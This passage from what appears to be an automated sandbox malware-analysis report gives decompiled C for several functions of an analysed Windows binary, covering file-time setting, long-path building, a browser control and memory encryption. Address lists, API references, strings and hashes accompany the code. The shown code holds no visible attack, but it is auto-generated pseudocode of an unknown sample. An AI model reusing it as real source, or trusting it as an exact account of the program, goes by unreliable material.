									__eflags = _t199 - _t151;
								} while (_t199 != _t151);
								goto L23;
							}
						} else {
							_t200 = _t199 | 0xffffffff;
							L24:
							E013C59B2(0);
							goto L25;
						}
					} else {
						while(1) {
							_v8 = 0x3f2a;
							_v6 = _t160;
							_t147 = E013CC000( *_t208,  &_v8);
							__eflags = _t147;
							if(_t147 != 0) {
								_push( &_v36);
								_push(_t147);
								_push( *_t208);
								L38();
								_t224 = _t224 + 0xc;
							} else {
								_t147 =  &_v36;
								_push(_t147);
								_push(0);
								_push(0);
								_push( *_t208);
								L28();
								_t224 = _t224 + 0x10;
							}
							_t200 = _t147;
							__eflags = _t200;
							if(_t200 != 0) {
								break;
							}
							_t208 = _t208 + 4;
							_t160 = 0;
							__eflags =  *_t208;
							if( *_t208 != 0) {
								continue;
							} else {
								_t151 = _v336.cAlternateFileName;
								_t199 = _v36;
								goto L9;
							}
							goto L68;
						}
						L25:
						E013C7F83( &_v36);
						_t91 = _t200;
						goto L26;
					}
				} else {
					_t148 = E013C5E2E();
					_t219 = 0x16;
					 *_t148 = _t219;
					E013C5D0D();
					_t91 = _t219;
					L26:
					return _t91;
				}
				L68:
			}

0x013c7bde
0x013c7be1
0x013c7be7
0x013c7bff
0x013c7c02
0x013c7c06
0x013c7c08
0x013c7c0a
0x013c7c0c
0x013c7c0f
0x013c7c12
0x013c7c15
0x013c7c17
0x013c7c6f
0x013c7c6f
0x013c7c75
0x013c7c77
0x013c7c82
0x013c7c86
0x013c7c88
0x013c7c8b
0x013c7c8f
0x013c7c8f
0x013c7c91
0x013c7c93
0x013c7c95
0x013c7c97
0x013c7c97
0x013c7c99
0x013c7c9c
0x013c7c9f
0x013c7c9f
0x013c7ca1
0x013c7ca2
0x013c7ca2
0x013c7cad
0x013c7caf
0x013c7cb2
0x013c7cb3
0x013c7cb6
0x013c7cb6
0x013c7cba
0x013c7cbd
0x013c7cc0
0x013c7cc0
0x013c7cce
0x013c7cd0
0x013c7cd3
0x013c7cd5
0x013c7cdf
0x013c7ce2
0x013c7ce5
0x013c7ce7
0x013c7cea
0x013c7cec
0x013c7d3c
0x013c7d3f
0x013c7d3f
0x013c7d41
0x00000000
0x013c7cee
0x013c7cf0
0x013c7cf0
0x013c7cf2
0x013c7cf5
0x013c7cf5
0x013c7cfa
0x013c7cfd
0x013c7cfd
0x013c7cff
0x013c7d00
0x013c7d00
0x013c7d04
0x013c7d07
0x013c7d07
0x013c7d0a
0x013c7d0d
0x013c7d1a
0x013c7d1f
0x013c7d22
0x013c7d24
0x013c7d5e
0x013c7d5f
0x013c7d60
0x013c7d61
0x013c7d62
0x013c7d63
0x013c7d68
0x013c7d6c
0x013c7d6e
0x013c7d6f
0x013c7d72
0x013c7d72
0x013c7d75
0x013c7d75
0x013c7d77
0x013c7d78
0x013c7d78
0x013c7d81
0x013c7d82
0x013c7d85
0x013c7d88
0x013c7d8b
0x013c7d8d
0x013c7d94
0x013c7d96
0x013c7d99
0x013c7da3
0x013c7da6
0x013c7da7
0x013c7da9
0x013c7dbd
0x013c7dbd
0x013c7dc0
0x013c7dca
0x013c7dcf
0x013c7dd2
0x013c7dd4
0x00000000
0x013c7dd6
0x013c7dda
0x013c7de3
0x013c7de9
0x00000000
0x013c7dec
0x013c7dab
0x013c7dab
0x013c7db1
0x013c7db6
0x013c7db9
0x013c7dbb
0x013c7df2
0x013c7df4
0x013c7df5
0x013c7df6
0x013c7df7
0x013c7df8
0x013c7df9
0x013c7dfe
0x013c7e01
0x013c7e02
0x013c7e04
0x013c7e0a
0x013c7e11
0x013c7e14
0x013c7e17
0x013c7e18
0x013c7e1b
0x013c7e1c
0x013c7e1f
0x013c7e20
0x013c7e41
0x013c7e41
0x013c7e43
0x00000000
0x00000000
0x013c7e28
0x013c7e2a
0x013c7e2c
0x013c7e2e
0x013c7e30
0x013c7e32
0x013c7e34
0x013c7e3f
0x00000000
0x013c7e3f
0x013c7e34
0x013c7e30
0x00000000
0x013c7e2c
0x013c7e45
0x013c7e47
0x013c7e4a
0x013c7e63
0x013c7e63
0x013c7e65
0x013c7e68
0x013c7e78
0x013c7e7a
0x013c7e7a
0x013c7e6a
0x013c7e6a
0x013c7e6d
0x00000000
0x013c7e6f
0x013c7e6f
0x013c7e72
0x00000000
0x013c7e74
0x013c7e74
0x013c7e74
0x013c7e72
0x013c7e6d
0x013c7e88
0x013c7e8c
0x013c7e9a
0x013c7e9f
0x013c7eb4
0x013c7eb6
0x013c7ebc
0x013c7ebf
0x013c7ef1
0x013c7ef1
0x013c7ef6
0x013c7efc
0x013c7efc
0x013c7f03
0x013c7f1d
0x013c7f1d
0x013c7f1e
0x013c7f24
0x013c7f2a
0x013c7f2b
0x013c7f2c
0x013c7f31
0x013c7f34
0x013c7f36
0x00000000
0x00000000
0x00000000
0x00000000
0x013c7f05
0x013c7f05
0x013c7f0b
0x013c7f0d
0x00000000
0x013c7f0f
0x013c7f0f
0x013c7f12
0x00000000
0x013c7f14
0x013c7f14
0x013c7f1b
0x00000000
0x00000000
0x00000000
0x00000000
0x013c7f1b
0x013c7f12
0x013c7f0d
0x00000000
0x013c7f38
0x013c7f40
0x013c7f46
0x013c7f48
0x013c7f48
0x013c7f50
0x013c7f55
0x013c7f5d
0x013c7f60
0x013c7f62
0x013c7f76
0x013c7f7b
0x013c7ec1
0x013c7ec1
0x013c7ec2
0x013c7ec3
0x013c7ec4
0x013c7ec5
0x013c7ecd
0x013c7ecd
0x013c7ecd
0x013c7ecf
0x013c7ed2
0x013c7ed5
0x013c7ed5
0x013c7e4c
0x013c7e4f
0x013c7e51
0x00000000
0x013c7e53
0x013c7e53
0x013c7e56
0x013c7e57
0x013c7e58
0x013c7e59
0x013c7e5e
0x013c7e51
0x013c7edd
0x013c7ee2
0x013c7eed
0x00000000
0x00000000
0x00000000
0x013c7dbb
0x013c7d8f
0x013c7d91
0x013c7ded
0x013c7df1
0x013c7df1
0x00000000
0x00000000
0x00000000
0x00000000
0x013c7d26
0x013c7d29
0x013c7d2c
0x013c7d2f
0x013c7d32
0x013c7d35
0x013c7d38
0x013c7d38
0x00000000
0x013c7cf5
0x013c7cd7
0x013c7cd7
0x013c7d43
0x013c7d45
0x00000000
0x013c7d4a
0x013c7c19
0x013c7c19
0x013c7c1c
0x013c7c25
0x013c7c28
0x013c7c2f
0x013c7c31
0x013c7c4a
0x013c7c4b
0x013c7c4c
0x013c7c4e
0x013c7c53
0x013c7c33
0x013c7c33
0x013c7c36
0x013c7c37
0x013c7c39
0x013c7c3b
0x013c7c3d
0x013c7c42
0x013c7c42
0x013c7c56
0x013c7c58
0x013c7c5a
0x00000000
0x00000000
0x013c7c60
0x013c7c63
0x013c7c65
0x013c7c67
0x00000000
0x013c7c69
0x013c7c69
0x013c7c6c
0x00000000
0x013c7c6c
0x00000000
0x013c7c67
0x013c7d4b
0x013c7d4e
0x013c7d53
0x00000000
0x013c7d56
0x013c7be9
0x013c7be9
0x013c7bf0
0x013c7bf1
0x013c7bf3
0x013c7bf8
0x013c7d57
0x013c7d5b
0x013c7d5b
0x00000000

APIs

_free.LIBCMT ref: 013C7D45

Part of subcall function 013C5D1D: IsProcessorFeaturePresent.KERNEL32(00000017,013C5D0C,0000002C,013D80C8,013C8D62,00000000,00000000,013C6391,?,?,013C5D19,00000000,00000000,00000000,00000000,00000000), ref: 013C5D1F
Part of subcall function 013C5D1D: GetCurrentProcess.KERNEL32(C0000417,013D80C8,0000002C,013C5A4A,00000016,013C6391), ref: 013C5D41
Part of subcall function 013C5D1D: TerminateProcess.KERNEL32(00000000), ref: 013C5D48

Strings

., xrefs: 013C7EFC
*?, xrefs: 013C7C1C

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: Process$CurrentFeaturePresentProcessorTerminate_free
String ID: *?$.
API String ID: 2667617558-3972193922
Opcode ID: 7b97f05bead931982e7a23c9cf534e270e960d3348eeadaf4e8a2cba3451af48
Instruction ID: b00d293c9f308564b8e9541000fd46c93dd7aa020daba0a58085a8afcd5b6493
Opcode Fuzzy Hash: 7b97f05bead931982e7a23c9cf534e270e960d3348eeadaf4e8a2cba3451af48
Instruction Fuzzy Hash: F1519176E0020A9FDF15DFACC880AADBBB5EF58718F24816DD954E7341E6719E018F50

Uniqueness

Uniqueness Score: -1.00%

Function 013A7619 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 131
timeCOMMON

Download Yara Rule

C-Code - Quality: 85%

			E013A7619(void* __ecx, void* __edx) {
				void* __esi;
				char _t50;
				signed int _t53;
				void* _t57;
				signed int _t58;
				signed int _t64;
				signed int _t78;
				void* _t91;
				void* _t93;
				intOrPtr* _t98;
				void* _t100;

				_t91 = __edx;
				E013BCDF0(E013CF537, _t100);
				E013BCEC0();
				_t98 =  *((intOrPtr*)(_t100 + 0xc));
				if( *_t98 == 0) {
					L3:
					_t93 = 0x802;
					E013AF160(_t100 - 0x1010, _t98, 0x802);
					L4:
					_t74 =  *((intOrPtr*)(_t100 + 8));
					E013A77FB(_t98,  *((intOrPtr*)(_t100 + 8)), _t100 - 0x407c, 0x800);
					_t105 =  *((short*)(_t100 - 0x407c)) - 0x3a;
					if( *((short*)(_t100 - 0x407c)) == 0x3a) {
						__eflags =  *((char*)(_t100 + 0x10));
						if(__eflags == 0) {
							E013AF138(__eflags, _t100 - 0x1010, _t100 - 0x407c, _t93);
							E013A6FA3(_t100 - 0x307c);
							_push(0);
							_t50 = E013AA195(_t100 - 0x307c, _t91, __eflags, _t98, _t100 - 0x307c);
							_t78 =  *(_t100 - 0x2074);
							 *((char*)(_t100 + 0x13)) = _t50;
							__eflags = _t78 & 0x00000001;
							if((_t78 & 0x00000001) != 0) {
								__eflags = _t78 & 0xfffffffe;
								E013AA113(_t98, _t78 & 0xfffffffe);
							}
							E013A9451(_t100 - 0x2034);
							 *((intOrPtr*)(_t100 - 4)) = 0;
							_t53 = E013A9BCA(_t100 - 0x2034, __eflags, _t100 - 0x1010, 0x11);
							__eflags = _t53;
							if(_t53 != 0) {
								_push(_t100 - 0x2034);
								_push(0);
								_t64 = E013A3A90(_t74, _t91);
								__eflags = _t64;
								if(_t64 != 0) {
									E013A94F3(_t100 - 0x2034);
								}
							}
							E013A9451(_t100 - 0x50a0);
							__eflags =  *((char*)(_t100 + 0x13));
							 *((char*)(_t100 - 4)) = 1;
							if( *((char*)(_t100 + 0x13)) != 0) {
								_t58 = E013A978D(_t100 - 0x50a0, _t98, _t98, 5);
								__eflags = _t58;
								if(_t58 != 0) {
									SetFileTime( *(_t100 - 0x509c), _t100 - 0x2054, _t100 - 0x204c, _t100 - 0x2044);
								}
							}
							E013AA113(_t98,  *(_t100 - 0x2074));
							E013A9487(_t100 - 0x50a0);
							_t57 = E013A9487(_t100 - 0x2034);
						} else {
							_push(0);
							_push(0);
							_t57 = E013A3A90(_t74, _t91);
						}
					} else {
						E013A6F5F(_t105, 0x53, _t74 + 0x1e, _t98);
						_t57 = E013A6E8B(0x13dcbe8, 3);
					}
					 *[fs:0x0] =  *((intOrPtr*)(_t100 - 0xc));
					return _t57;
				}
				_t104 =  *((intOrPtr*)(_t98 + 2));
				if( *((intOrPtr*)(_t98 + 2)) != 0) {
					goto L3;
				} else {
					_t93 = 0x802;
					E013AF160(_t100 - 0x1010, 0x13d0490, 0x802);
					E013AF138(_t104, _t100 - 0x1010, _t98, 0x802);
					goto L4;
				}
			}

0x013a7619
0x013a761e
0x013a7628
0x013a762f
0x013a7638
0x013a7667
0x013a7667
0x013a7675
0x013a767a
0x013a767a
0x013a768a
0x013a768f
0x013a7697
0x013a76b6
0x013a76ba
0x013a76db
0x013a76e6
0x013a76f3
0x013a76f6
0x013a76fb
0x013a7701
0x013a7704
0x013a7707
0x013a7709
0x013a770e
0x013a770e
0x013a7719
0x013a7726
0x013a7730
0x013a7735
0x013a7737
0x013a7741
0x013a7742
0x013a7743
0x013a7748
0x013a774a
0x013a7752
0x013a7752
0x013a774a
0x013a775d
0x013a7762
0x013a7766
0x013a776a
0x013a7775
0x013a777a
0x013a777c
0x013a7799
0x013a7799
0x013a777c
0x013a77a6
0x013a77b1
0x013a77bc
0x013a76bc
0x013a76c0
0x013a76c1
0x013a76c2
0x013a76c2
0x013a7699
0x013a76a0
0x013a76ac
0x013a76ac
0x013a77c7
0x013a77d1
0x013a77d1
0x013a763a
0x013a763e
0x00000000
0x013a7640
0x013a7640
0x013a7652
0x013a7660
0x00000000
0x013a7660

APIs

__EH_prolog.LIBCMT ref: 013A761E
SetFileTime.KERNEL32(?,?,?,?,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 013A7799

Part of subcall function 013AA113: SetFileAttributesW.KERNELBASE(?,00000000,00000001,?,013A9F49,?,?,?,013A9DE2,?,00000001,00000000,?,?), ref: 013AA127
Part of subcall function 013AA113: SetFileAttributesW.KERNEL32(?,00000000,?,?,00000800,?,013A9F49,?,?,?,013A9DE2,?,00000001,00000000,?,?), ref: 013AA158

Strings

:, xrefs: 013A768F

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: File$Attributes$H_prologTime
String ID: :
API String ID: 1861295151-336475711
Opcode ID: f7367b81c641878ab722121887a2b6d377574f2d92defb6ad88e069e4390cc4b
Instruction ID: 07153da75c8507bab683cff6e736fe4078ccd90dacd25e2d8f62f949f5d2ee95
Opcode Fuzzy Hash: f7367b81c641878ab722121887a2b6d377574f2d92defb6ad88e069e4390cc4b
Instruction Fuzzy Hash: FA41B671901219A9EB34EB68DC98FEF7B7CEF55348F8040D9A605A2051DB756F88CF60

Uniqueness

Uniqueness Score: -1.00%

Function 013AB2C5 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 130
COMMON

Download Yara Rule

C-Code - Quality: 81%

			E013AB2C5(signed short* _a4, intOrPtr _a8, intOrPtr _a12) {
				short _v4096;
				short _v4100;
				signed short* _t30;
				long _t32;
				short _t33;
				void* _t39;
				signed short* _t52;
				void* _t53;
				signed short* _t62;
				void* _t66;
				intOrPtr _t69;
				signed short* _t71;
				intOrPtr _t73;

				E013BCEC0();
				_t71 = _a4;
				if( *_t71 != 0) {
					E013AB45F(_t71);
					_t66 = E013C20A3(_t71);
					_t30 = E013AB48B(_t71);
					__eflags = _t30;
					if(_t30 == 0) {
						_t32 = GetCurrentDirectoryW(0x7ff,  &_v4100);
						__eflags = _t32;
						if(_t32 == 0) {
							L22:
							_t33 = 0;
							__eflags = 0;
							L23:
							goto L24;
						}
						__eflags = _t32 - 0x7ff;
						if(_t32 > 0x7ff) {
							goto L22;
						}
						__eflags = E013AB566( *_t71 & 0x0000ffff);
						if(__eflags == 0) {
							E013AAE45(__eflags,  &_v4100, 0x800);
							_t39 = E013C20A3( &_v4100);
							_t69 = _a12;
							__eflags = _t69 - _t39 + _t66 + 4;
							if(_t69 <= _t39 + _t66 + 4) {
								goto L22;
							}
							E013AF160(_a8, L"\\\\?\\", _t69);
							E013AF138(__eflags, _a8,  &_v4100, _t69);
							__eflags =  *_t71 - 0x2e;
							if(__eflags == 0) {
								__eflags = E013AB566(_t71[1] & 0x0000ffff);
								if(__eflags != 0) {
									_t71 =  &(_t71[2]);
									__eflags = _t71;
								}
							}
							L19:
							_push(_t69);
							L20:
							_push(_t71);
							L21:
							_push(_a8);
							E013AF138(__eflags);
							_t33 = 1;
							goto L23;
						}
						_t13 = _t66 + 6; // 0x6
						_t69 = _a12;
						__eflags = _t69 - _t13;
						if(_t69 <= _t13) {
							goto L22;
						}
						E013AF160(_a8, L"\\\\?\\", _t69);
						_v4096 = 0;
						E013AF138(__eflags, _a8,  &_v4100, _t69);
						goto L19;
					}
					_t52 = E013AB45F(_t71);
					__eflags = _t52;
					if(_t52 == 0) {
						_t53 = 0x5c;
						__eflags =  *_t71 - _t53;
						if( *_t71 != _t53) {
							goto L22;
						}
						_t62 =  &(_t71[1]);
						__eflags =  *_t62 - _t53;
						if( *_t62 != _t53) {
							goto L22;
						}
						_t73 = _a12;
						_t9 = _t66 + 6; // 0x6
						__eflags = _t73 - _t9;
						if(_t73 <= _t9) {
							goto L22;
						}
						E013AF160(_a8, L"\\\\?\\", _t73);
						E013AF138(__eflags, _a8, L"UNC", _t73);
						_push(_t73);
						_push(_t62);
						goto L21;
					}
					_t2 = _t66 + 4; // 0x4
					__eflags = _a12 - _t2;
					if(_a12 <= _t2) {
						goto L22;
					}
					E013AF160(_a8, L"\\\\?\\", _a12);
					_push(_a12);
					goto L20;
				} else {
					_t33 = 0;
					L24:
					return _t33;
				}
			}

0x013ab2cd
0x013ab2d3
0x013ab2da
0x013ab2e6
0x013ab2f3
0x013ab2f5
0x013ab2fa
0x013ab2fc
0x013ab382
0x013ab388
0x013ab38a
0x013ab449
0x013ab449
0x013ab449
0x013ab44b
0x00000000
0x013ab44c
0x013ab390
0x013ab392
0x00000000
0x00000000
0x013ab3a1
0x013ab3a3
0x013ab3e8
0x013ab3f4
0x013ab3fe
0x013ab402
0x013ab404
0x00000000
0x00000000
0x013ab40f
0x013ab41f
0x013ab424
0x013ab428
0x013ab434
0x013ab436
0x013ab438
0x013ab438
0x013ab438
0x013ab436
0x013ab43b
0x013ab43b
0x013ab43c
0x013ab43c
0x013ab43d
0x013ab43d
0x013ab440
0x013ab445
0x00000000
0x013ab445
0x013ab3a5
0x013ab3a8
0x013ab3ab
0x013ab3ad
0x00000000
0x00000000
0x013ab3bc
0x013ab3c3
0x013ab3d5
0x00000000
0x013ab3d5
0x013ab2ff
0x013ab304
0x013ab306
0x013ab32e
0x013ab32f
0x013ab332
0x00000000
0x00000000
0x013ab338
0x013ab33b
0x013ab33e
0x00000000
0x00000000
0x013ab344
0x013ab347
0x013ab34a
0x013ab34c
0x00000000
0x00000000
0x013ab35b
0x013ab369
0x013ab36e
0x013ab36f
0x00000000
0x013ab36f
0x013ab308
0x013ab30b
0x013ab30e
0x00000000
0x00000000
0x013ab31f
0x013ab324
0x00000000
0x013ab2dc
0x013ab2dc
0x013ab44d
0x013ab451
0x013ab451

Strings

UNC, xrefs: 013AB361
\\?\, xrefs: 013AB317, 013AB353, 013AB3B4, 013AB407

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID:
String ID: UNC$\\?\
API String ID: 0-253988292
Opcode ID: 9a3ea8fcaf928c7310e9786981839f423672e78f3013c8377034596e4b6ca7bc
Instruction ID: dd91ee9e12a39428c6dcb7f7136e5d6cd151686dee7c5fb1384cf2612e4769f9
Opcode Fuzzy Hash: 9a3ea8fcaf928c7310e9786981839f423672e78f3013c8377034596e4b6ca7bc
Instruction Fuzzy Hash: 3D41B43640021ABBCF21AF29DC40EEFB76DEF25658FC48516F854A3144E771A990DAA1

Uniqueness

Uniqueness Score: -1.00%

Function 013B802C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 76
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E013B802C(void* __ecx, void* __edx, void* __eflags, intOrPtr _a4) {
				void* __esi;
				void* __ebp;
				intOrPtr _t17;
				char _t18;
				intOrPtr* _t22;
				void* _t23;
				void* _t25;
				intOrPtr* _t27;
				signed int _t36;
				signed int _t42;
				void* _t43;
				intOrPtr _t44;
				signed int* _t48;

				_t44 = _a4;
				_t43 = __ecx;
				 *((intOrPtr*)(__ecx + 4)) = _t44;
				_t17 = E013BCDAC(__edx, _t44, __eflags, 0x30);
				_a4 = _t17;
				if(_t17 == 0) {
					_t18 = 0;
					__eflags = 0;
				} else {
					_t18 = E013B7ACB(_t17);
				}
				 *((intOrPtr*)(_t43 + 0xc)) = _t18;
				if(_t18 == 0) {
					return _t18;
				} else {
					 *((intOrPtr*)(_t18 + 0x18)) = _t44;
					E013B8719( *((intOrPtr*)(_t43 + 0xc)), L"Shell.Explorer");
					E013B88B2( *((intOrPtr*)(_t43 + 0xc)), 1);
					E013B8868( *((intOrPtr*)(_t43 + 0xc)), 1);
					_t22 = E013B87CD( *((intOrPtr*)(_t43 + 0xc)));
					_t27 = _t22;
					if(_t27 == 0) {
						L7:
						_t36 =  *(_t43 + 0x10);
						__eflags = _t36;
						if(_t36 != 0) {
							_t42 =  *(_t43 + 0x18);
							 *((char*)(_t43 + 0x1d)) = 0;
							_t23 =  *_t36;
							_push(0);
							_push(0);
							_push(0);
							_push(0);
							__eflags = _t42;
							if(_t42 == 0) {
								 *((intOrPtr*)(_t23 + 0x2c))(_t36, L"about:blank");
								_t22 = E013B87A0(_t43);
							} else {
								_t22 =  *((intOrPtr*)(_t23 + 0x2c))(_t36, _t42);
							}
						}
						L11:
						return _t22;
					}
					_t10 = _t43 + 0x10; // 0x10
					_t48 = _t10;
					_t25 =  *((intOrPtr*)( *_t27))(_t27, 0x13d184c, _t48);
					_t22 =  *((intOrPtr*)( *_t27 + 8))(_t27);
					if(_t25 >= 0) {
						goto L7;
					}
					 *_t48 =  *_t48 & 0x00000000;
					goto L11;
				}
			}

0x013b802d
0x013b8032
0x013b8036
0x013b8039
0x013b803e
0x013b8045
0x013b8050
0x013b8050
0x013b8047
0x013b8049
0x013b8049
0x013b8052
0x013b8057
0x013b80e5
0x013b805d
0x013b805f
0x013b806a
0x013b8074
0x013b807e
0x013b8086
0x013b808b
0x013b808f
0x013b80b1
0x013b80b1
0x013b80b4
0x013b80b6
0x013b80b8
0x013b80bd
0x013b80c0
0x013b80c2
0x013b80c3
0x013b80c4
0x013b80c5
0x013b80c6
0x013b80c8
0x013b80d7
0x013b80dc
0x013b80ca
0x013b80cc
0x013b80cc
0x013b80c8
0x013b80e1
0x00000000
0x013b80e2
0x013b8093
0x013b8093
0x013b809d
0x013b80a4
0x013b80a9
0x00000000
0x00000000
0x013b80ab
0x00000000
0x013b80ab

APIs

new.LIBCMT ref: 013B8039

Strings

Shell.Explorer, xrefs: 013B8065
about:blank, xrefs: 013B80D1

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID:
String ID: Shell.Explorer$about:blank
API String ID: 0-874089819
Opcode ID: 0e7e60bd3835ebf0ac560186ba6e3f266b27df44139d68362186a0c2b0df9ee9
Instruction ID: a28b2de9576d5dd88e4b7eff3e09216a986b91bb24009ae2be35c1c2758de613
Opcode Fuzzy Hash: 0e7e60bd3835ebf0ac560186ba6e3f266b27df44139d68362186a0c2b0df9ee9
Instruction Fuzzy Hash: 4F21D17570060BBFE7049F79D8D0EA6BB6CBF9465CB04819DE7058BA41EB71E840CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 013ADF86 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 68
COMMON

Download Yara Rule

C-Code - Quality: 20%

			E013ADF86(void* __ebx, void* __edi, intOrPtr _a4, signed int _a8, char _a12, intOrPtr _a16) {
				void* __esi;
				void* __ebp;
				intOrPtr* _t11;
				intOrPtr* _t12;
				signed char _t13;
				void* _t17;
				signed char _t18;
				void* _t20;
				signed int _t22;
				signed int _t30;
				void* _t31;
				void* _t32;
				intOrPtr _t33;
				signed int _t36;

				_t32 = __edi;
				_t17 = __ebx;
				_t11 =  *0x13e1e60; // 0x0
				if(_t11 == 0) {
					E013ADF05(0x13e1e58);
					_t11 =  *0x13e1e60; // 0x0
				}
				_t36 = _a8;
				_t22 = _t36 & 0xfffffff0;
				_t30 = 0 | _a16 != 0x00000000;
				if(_a12 == 0) {
					_t12 =  *0x13e1e64; // 0x0
					if(_t12 == 0) {
						goto L10;
					} else {
						_t13 =  *_t12(_a4, _t22, _t30);
						if(_t13 == 0) {
							_push(L"CryptUnprotectMemory failed");
							goto L6;
						}
					}
				} else {
					if(_t11 == 0) {
						L10:
						_push(_t17);
						_t13 = GetCurrentProcessId();
						_t31 = 0;
						_t18 = _t13;
						if(_t36 != 0) {
							_push(_t32);
							_t33 = _a4;
							_t20 = _t18 + 0x4b;
							do {
								_t13 = _t31 + _t20;
								 *(_t31 + _t33) =  *(_t31 + _t33) ^ _t13;
								_t31 = _t31 + 1;
							} while (_t31 < _t36);
						}
					} else {
						_t13 =  *_t11(_a4, _t22, _t30);
						if(_t13 == 0) {
							_push(L"CryptProtectMemory failed");
							L6:
							_push(0x13dcbe8);
							_t13 = E013A6D8A(E013C1A79(E013A6D8F(_t22)), 0x13dcbe8, 0x13dcbe8, 2);
						}
					}
				}
				return _t13;
			}

0x013adf86
0x013adf86
0x013adf89
0x013adf90
0x013adf97
0x013adf9c
0x013adf9c
0x013adfa2
0x013adfa9
0x013adfaf
0x013adfb6
0x013adfeb
0x013adff2
0x00000000
0x013adff4
0x013adff9
0x013adffd
0x013adfff
0x00000000
0x013adfff
0x013adffd
0x013adfb8
0x013adfba
0x013ae006
0x013ae006
0x013ae007
0x013ae00d
0x013ae00f
0x013ae013
0x013ae015
0x013ae016
0x013ae019
0x013ae01c
0x013ae01f
0x013ae022
0x013ae024
0x013ae025
0x013ae029
0x013adfbc
0x013adfc1
0x013adfc5
0x013adfc7
0x013adfcc
0x013adfd1
0x013adfe4
0x013adfe4
0x013adfc5
0x013adfba
0x013ae02d

APIs

Part of subcall function 013ADF05: GetProcAddress.KERNEL32(00000000,CryptProtectMemory), ref: 013ADF24
Part of subcall function 013ADF05: GetProcAddress.KERNEL32(013E1E58,CryptUnprotectMemory), ref: 013ADF34

GetCurrentProcessId.KERNEL32(?,?,?,013ADF7E), ref: 013AE007

Strings

CryptProtectMemory failed, xrefs: 013ADFC7
CryptUnprotectMemory failed, xrefs: 013ADFFF

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: AddressProc$CurrentProcess
String ID: CryptProtectMemory failed$CryptUnprotectMemory failed
API String ID: 2190909847-396321323
Opcode ID: 181681257357a02d020ccb1979b5291eca553a5d7a686c959aa63e09d51b7f2f
Instruction ID: f3192b8fd846856a9df707445a5a5a185b2b8f28428f9a89d3192be38f8c1416
Opcode Fuzzy Hash: 181681257357a02d020ccb1979b5291eca553a5d7a686c959aa63e09d51b7f2f
Instruction Fuzzy Hash: D3112731304216ABEB39DA2EEC40A6F37DDEFC4B5CF884029F6059B191EB70E9408390

Uniqueness

Uniqueness Score: -1.00%

Function 013C8567 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 83%

			E013C8567(void* __ebx, void* __ecx, void* __edx, void* __eflags) {
				signed int _t15;
				intOrPtr _t20;
				void* _t24;
				signed int _t25;
				void* _t29;
				intOrPtr _t30;
				void* _t31;
				void* _t36;

